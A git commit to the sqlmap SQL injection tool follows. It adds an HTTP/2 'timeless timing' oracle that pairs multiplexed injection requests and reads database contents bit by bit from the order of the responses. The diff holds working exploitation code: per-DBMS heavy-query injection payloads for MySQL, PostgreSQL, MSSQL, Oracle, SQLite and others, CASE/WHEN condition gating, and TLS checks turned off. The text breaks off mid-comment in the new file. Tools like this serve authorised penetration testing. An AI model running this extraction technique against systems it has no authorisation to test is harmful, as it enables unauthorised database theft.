Adding support for --timeless HTTP2 technique

This commit is contained in:
Miroslav Štampar 2026-07-08 01:58:36 +02:00
parent b2a5283e9b
commit f46c463eba
10 changed files with 858 additions and 7 deletions

View file

@ -31,6 +31,15 @@ def action():
if possible
"""
# HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage
# the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all
# subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op
# unless '--timeless' is set and the target is usable; disengage() first clears any prior target's.
from lib.request import timeless
timeless.disengage()
if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable
timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error

View file

@ -2330,6 +2330,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.suppressResumeInfo = False
kb.tableFrom = None
kb.technique = None
kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None
kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run)
kb.tempDir = None
kb.testMode = False
kb.testOnlyCustom = False

View file

@ -128,6 +128,7 @@ optDict = {
"oobServer": "string",
"oobToken": "string",
"timeSec": "integer",
"timeless": "boolean",
"uCols": "string",
"uChar": "string",
"uFrom": "string",

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.35"
VERSION = "1.10.7.36"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -424,6 +424,9 @@ def cmdLineParser(argv=None):
techniques.add_argument("--disable-stats", dest="disableStats", action="store_true",
help="Disable the statistical model for detecting the delay")
techniques.add_argument("--timeless", dest="timeless", action="store_true",
help="Use HTTP/2 timeless timing (faster, no delay)")
techniques.add_argument("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection")

View file

@ -634,6 +634,12 @@ class Connect(object):
for char in (r"\r", r"\n"):
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
# Build-only capture: return the fully-assembled request instead of sending it, so the
# HTTP/2 timeless-timing oracle (lib/request/timeless.py) can coalesce two of these into a
# single multiplexed pair rather than issue them as independent single-stream requests.
if kwargs.get("buildOnly"):
return (url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post)
if conf.http2:
from lib.request.http2 import open_url as http2OpenUrl
@ -1029,7 +1035,7 @@ class Connect(object):
@staticmethod
@stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False, buildOnly=False):
"""
This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value
@ -1039,6 +1045,10 @@ class Connect(object):
if conf.direct:
return direct(value, content)
# Snapshot the pristine payload for the timeless oracle before placement/tampering rewrites it,
# so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair.
timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None
get = None
post = None
cookie = None
@ -1515,6 +1525,22 @@ class Connect(object):
elif postUrlEncode:
post = urlencode(post, spaceplus=kb.postSpaceToPlus)
# When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector
# is in place before any payload is built), a boolean comparison is answered by relative HTTP/2
# response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and
# it skips the time-based statistical warm-up entirely. The comparison request is assembled exactly
# as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing.
if timeBasedCompare and kb.get("timeless") is not None:
from lib.request.timeless import negatePayload
# Build the condition and negation requests through the SAME path (queryPage buildOnly on the
# raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond
# from the already-placed uri/get/post while neg goes through fresh placement would make them
# non-corresponding and flip the order.
negValue = negatePayload(timelessOrigValue)
condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True)
negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None
return kb.timeless.readBitFromSpecs(condSpec, negSpec)
if timeBasedCompare and not conf.disableStats:
if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
clearConsoleLine()
@ -1592,6 +1618,12 @@ class Connect(object):
finally:
kb.pageCompress = popValue()
# Timeless-timing oracle: after all placement/tampering, hand back the fully-assembled request
# (url, method, headers, post) instead of sending it, so two payloads can be coalesced into one
# multiplexed HTTP/2 pair (lib/request/timeless.py).
if buildOnly:
return Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=True, auxHeaders=auxHeaders, buildOnly=True)
if pageLength is None:
try:
page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)

View file

@ -453,7 +453,12 @@ class _H2Connection(object):
self.usable = True
ctx = ssl._create_unverified_context()
ctx.set_alpn_protocols(["h2"])
self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host)
raw = _connect_socket(host, port, proxy, timeout)
try:
raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # coalesced-pair writes must not be Nagle-buffered
except (OSError, socket.error):
pass
self.sock = ctx.wrap_socket(raw, server_hostname=host)
try:
if self.sock.selected_alpn_protocol() != "h2":
raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol())
@ -540,6 +545,89 @@ class _H2Connection(object):
break
return status, resp_headers, bytes(resp_body)
def exchange_pair(self, requests, timeout):
"""Timeless-timing primitive (Van Goethem et al., USENIX Security 2020). Send TWO requests
multiplexed and COALESCED into a single TCP write, then read frames until BOTH streams reach
END_STREAM, recording the order in which they finished. Because both requests ride the same
packet on the same connection, network jitter hits them equally and cancels - only the server's
relative processing time decides which END_STREAM lands first, so a sub-millisecond server-side
delta is readable that absolute wall-clock timing (drowned by jitter) cannot resolve.
`requests` is a 2-list of dicts {method, path, authority, headers, body}. Returns
(finish_order, results) where finish_order is the list of stream ids in completion order and
results maps sid -> (status, headers, body). Requires the server to process the two streams
CONCURRENTLY; a serializing front-proxy defeats it (callers must calibrate - see h2_timeless_probe)."""
if not self.usable:
raise IOError("HTTP/2 connection no longer usable")
self.sock.settimeout(timeout)
sids, out = [], b""
for r in requests:
sid = self.next_sid
self.next_sid += 2
sids.append(sid)
req = [(b":method", _tob(r.get("method", "GET"))), (b":scheme", b"https"),
(b":path", _tob(r["path"])), (b":authority", _tob(r.get("authority") or self.host))]
for k, v in (r.get("headers") or {}).items():
req.append((_tob(k).lower(), _tob(v)))
body = r.get("body")
out += encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, Encoder().encode(req))
if body:
out += encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body))
if self.next_sid >= BIG_WINDOW:
self.usable = False
self.sock.sendall(out) # THE crux: one write -> one TCP segment -> simultaneous arrival
state = dict((sid, {"hb": b"", "headers": None, "body": bytearray()}) for sid in sids)
finish_order = []
remaining = set(sids)
while remaining:
ftype, flags, fsid, payload = _read_frame(self.sock)
if ftype == SETTINGS:
if not (flags & FLAG_ACK):
self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
elif ftype == PING:
if not (flags & FLAG_ACK):
self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
elif ftype == GOAWAY:
self.usable = False
raise IOError("GOAWAY during timeless pair")
elif ftype == RST_STREAM and fsid in state:
self.usable = False
raise IOError("stream reset during timeless pair")
elif ftype in (HEADERS, CONTINUATION) and fsid in state:
p = payload
if ftype == HEADERS:
if flags & FLAG_PADDED:
p = p[1:len(p) - bytearray(payload)[0]]
if flags & FLAG_PRIORITY:
p = p[5:]
state[fsid]["hb"] += p
if flags & FLAG_END_HEADERS:
state[fsid]["headers"] = self.dec.decode(state[fsid]["hb"])
if flags & FLAG_END_STREAM and fsid in remaining:
finish_order.append(fsid); remaining.discard(fsid)
elif ftype == DATA and fsid in state:
p = payload
if flags & FLAG_PADDED:
p = p[1:len(p) - bytearray(payload)[0]]
state[fsid]["body"] += p
if payload:
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, fsid, struct.pack("!I", len(payload))))
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
if flags & FLAG_END_STREAM and fsid in remaining:
finish_order.append(fsid); remaining.discard(fsid)
results = {}
for sid in sids:
status = None
for n, v in (state[sid]["headers"] or []):
if _tob(n) == b":status":
status = int(v); break
results[sid] = (status, state[sid]["headers"], bytes(state[sid]["body"]))
return finish_order, results
# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model
# (one connection per host per thread) so streams never interleave across threads and time-based
# measurements stay clean.

714
lib/request/timeless.py Normal file
View file

@ -0,0 +1,714 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native
# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single
# TCP write and multiplexed on one connection; because they share the packet and the path, network
# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects
# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be
# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the
# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines.
#
# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing
# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable
# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead.
import threading
from lib.core.enums import DBMS
from lib.request.http2 import _H2Connection
# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage.
_engageLock = threading.Lock()
def buildConditionPair(condition, heavy, cheap="0"):
"""Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g.
'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB
do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work
iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order
names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid
booleans (>=0 always holds) so they never change the page, keeping the channel blind.
`heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function);
`cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying
on optimiser short-circuit.
>>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t")
>>> c
'(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0'
>>> n
'(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0'
"""
condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap)
negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy)
return condExpr, negExpr
def _pairOrder(conn, reqA, reqB, timeout):
"""Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two
stream ids in send order (reqA got the lower id)."""
order, _results = conn.exchange_pair([reqA, reqB], timeout)
loSid = conn.next_sid - 4
hiSid = conn.next_sid - 2
return order[0], loSid, hiSid
def readBit(conn, reqCond, reqNeg, votes=5, timeout=30):
"""Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is
ambiguous (load-degraded).
reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the
condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes
LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias)
and counts how often reqCond finished last:
- real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0
- real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0
- END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run
heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past
the end - CockroachDB - both requests error and it is a ~0.5 coin flip).
Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and
CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom
trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g.
--threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was
single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep
voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a
lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query
time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded."""
condLast, i = 0, 0
cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits
while True:
if i % 2 == 0:
first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout)
condSid = loSid
else:
first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout)
condSid = hiSid
if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE
condLast += 1
i += 1
if i < votes: # gather a minimum sample before deciding
continue
fraction = condLast / float(i)
if fraction >= 0.8:
return True
if fraction <= 0.5:
return False
if i >= cap: # still ambiguous after escalating -> decide by the same threshold
return fraction >= 0.8
def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None):
"""Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair
(reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent
backend the slow request finishes last regardless of its id. Returns (usable, confidence) where
confidence is the fraction of trials in which the slow request finished last. Below `threshold` the
backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if
given, is called once per trial so the caller can stream a progress indicator."""
slowLast = 0
for i in range(trials):
if i % 2 == 0:
first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout)
slowSid = loSid
else:
first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout)
slowSid = hiSid
if first != slowSid:
slowLast += 1
if progress is not None:
progress()
confidence = slowLast / float(trials) if trials else 0.0
return (confidence >= threshold), confidence
def connect(host, port=443, proxy=None, timeout=30):
"""Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so
its multiplexed pairs never interleave with ordinary single-stream traffic)."""
return _H2Connection(host, port, proxy, timeout)
class TimelessOracle(object):
"""The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every
boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the
already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy
reference and reads the bit from response order. This reuses the entire bisection/inference/threading
stack unchanged - bisection just calls queryPage and gets a bool.
Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py
and the http2 pool - streams from different threads never interleave on one socket, so parallel
per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an
immutable spec-derived dict, so it is shared read-only across threads."""
def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30):
self.host, self.port, self.proxy = host, port, proxy
self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak)
self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded
self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit);
# enough votes that TRUE ~100% and end-of-string ~50% separate cleanly
self.timeout = timeout
self._local = threading.local()
self._conns = [] # every opened connection, for clean teardown
self._lock = threading.Lock()
self.savedTechnique = None # active technique whose vector we swapped (restored on disengage)
self.savedVector = None
def _conn(self):
conn = getattr(self._local, "conn", None)
if conn is None or not conn.usable:
conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout)
with self._lock:
self._conns.append(conn)
return conn
def readBitFromSpecs(self, condSpec, negSpec=None):
"""Read the bit from the assembled condition request and, when available, its negation. With a
negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it
stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The
asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not
be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the
(url, method, headers, post) tuples from getPage(buildOnly=True)."""
reqCond = _specToReq(condSpec, self.host)
if negSpec is not None:
return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout)
return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout)
def close(self):
with self._lock:
for conn in self._conns:
try:
conn.close()
except Exception:
pass
self._conns = []
def engage(host, port, vector, proxy=None, timeout=30):
"""Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread
TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up
automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy).
The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise)."""
from lib.core.data import kb
refReq = _forgeRequest("1=1", host, vector)
kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout)
return kb.timeless
def disengage():
"""Tear down the timeless oracle and close all per-thread connections."""
from lib.core.data import kb
oracle = kb.get("timeless")
if oracle is not None:
if oracle.savedTechnique is not None:
try:
from lib.core.common import getTechniqueData
getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector
except Exception:
pass
oracle.close()
kb.timeless = None
def hintTimeless():
"""Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user
did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once.
Only fires when time-based is the channel that will actually be used (no faster in-band option) so the
hint is never noise. Purely advisory, never raises, at most one message per run."""
from lib.core.data import conf, kb
from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage
from lib.core.enums import PAYLOAD
try:
if conf.get("timeless") or kb.get("timelessHinted"):
return
kb.timelessHinted = True
# only relevant when time-based is the chosen channel (a faster in-band one would be used instead)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
return
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)):
return
try:
from urllib.parse import urlsplit
except ImportError:
from urlparse import urlsplit
parts = urlsplit(conf.url or "")
if parts.scheme != "https":
return
# cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2'
conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30)
conn.close()
singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection "
"by relative response order (no delay), typically far faster. Consider re-running with '--timeless'")
except Exception:
pass
def autoEngage():
"""Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by
action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built).
Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a
light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable
(the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises."""
from lib.core.data import conf, kb, logger
from lib.core.common import Backend
with _engageLock:
if kb.get("timeless") is not None:
return True
return _doAutoEngage(conf, kb, logger, Backend)
def _doAutoEngage(conf, kb, logger, Backend):
try:
if not conf.get("timeless"):
return False
# Never during detection - that phase confirms the vuln (and runs the false-positive check) by
# measuring REAL induced delays, which response-order would break. kb.testMode is True throughout
# detection and False once extraction begins.
if kb.get("testMode"):
return False
# Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose
# data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one.
from lib.core.enums import PAYLOAD
from lib.core.settings import INFERENCE_MARKER
timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None
if not timeData or INFERENCE_MARKER not in (timeData.vector or ""):
return False
try:
from urllib.parse import urlsplit
except ImportError:
from urlparse import urlsplit
parts = urlsplit(conf.url or "")
if parts.scheme != "https":
logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based")
return False
host, port = parts.hostname, parts.port or 443
dbms = Backend.getIdentifiedDbms()
if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None:
logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms)
return False
# Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order
# reliability and tune the work size - that is the pause the user sees before engagement. Announce
# it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait".
import time as _time
from lib.core.common import dataToStdout
dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms))
probe = connect(host, port, None, conf.timeout or 30)
# value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand
# that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy).
loadFactor = max(1, conf.threads or 1)
try:
vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor)
finally:
probe.close()
dataToStdout(" (done)\n")
if not vector:
logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence)
return False
oracle = engage(host, port, vector, timeout=conf.timeout or 30)
# Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold
# and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target
# needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.)
oracle.votes = 5 if confidence >= 1.0 else 9
# bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned
# heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request
# gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on
# disengage().
oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME
oracle.savedVector = timeData.vector
timeData.vector = vector
logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence))
return True
except Exception as ex:
from lib.core.common import getSafeExString
logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex))
return False
# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same
# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job.
_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection",
"transfer-encoding", "upgrade", "content-length"))
def _specToReq(spec, fallbackAuthority):
"""Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into
the request dict exchange_pair expects."""
try:
from urllib.parse import urlsplit
except ImportError:
from urlparse import urlsplit
url, method, headers, post = spec
parts = urlsplit(url)
path = parts.path or "/"
if parts.query:
path += "?" + parts.query
reqHeaders = {}
for key in (headers or {}):
name = key.decode("latin-1") if isinstance(key, bytes) else key
if name.lower() not in _FORBIDDEN_HEADERS:
reqHeaders[key] = headers[key]
return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority),
"headers": reqHeaders, "body": post}
def getHeavyVector(dbms=None):
"""Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end),
reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN <heavy>
ELSE <cheap> ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no
SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded."""
from lib.core.data import conf
from lib.core.common import Backend
dbms = dbms or Backend.getIdentifiedDbms()
if not dbms:
return None
andVector = orVector = None
for test in (conf.tests or []):
title = (test.get("title") or "")
if "heavy query" not in title.lower():
continue
testDbms = ((test.get("details") or {}).get("dbms")) or ""
testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms)
# tolerate combined labels like "Microsoft SQL Server/Sybase"
if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))):
continue
vector = (test.get("vector") or "").strip()
# Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms.
if vector.upper().startswith("AND "):
andVector = andVector or vector
elif vector.upper().startswith("OR "):
orVector = orVector or vector
return andVector or orVector
# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for
# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request -
# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's
# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a
# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That
# self-tunes to the lightest payload that works - fast, and never allocates a huge blob.
# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of
# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork
# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift.
# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan
# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind.
#
# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS
# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB),
# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB.
# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never
# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed.
#
# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so
# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN
# (<heavy>) ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal.
# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on
# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when
# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung
# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only
# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of
# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic.
# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a
# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS
# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL).
_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback)
_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap)
LIGHT_HEAVY = {
DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series
DBMS.MYSQL: _LH_MYSQL,
DBMS.MSSQL: _LH_MSSQL,
DBMS.SYBASE: _LH_MSSQL,
DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])",
# recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded)
DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))",
# ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash
DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')",
# Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join
DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)",
# NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here ->
# no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction.
}
# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations /
# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time
# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same
# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the
# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the
# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so
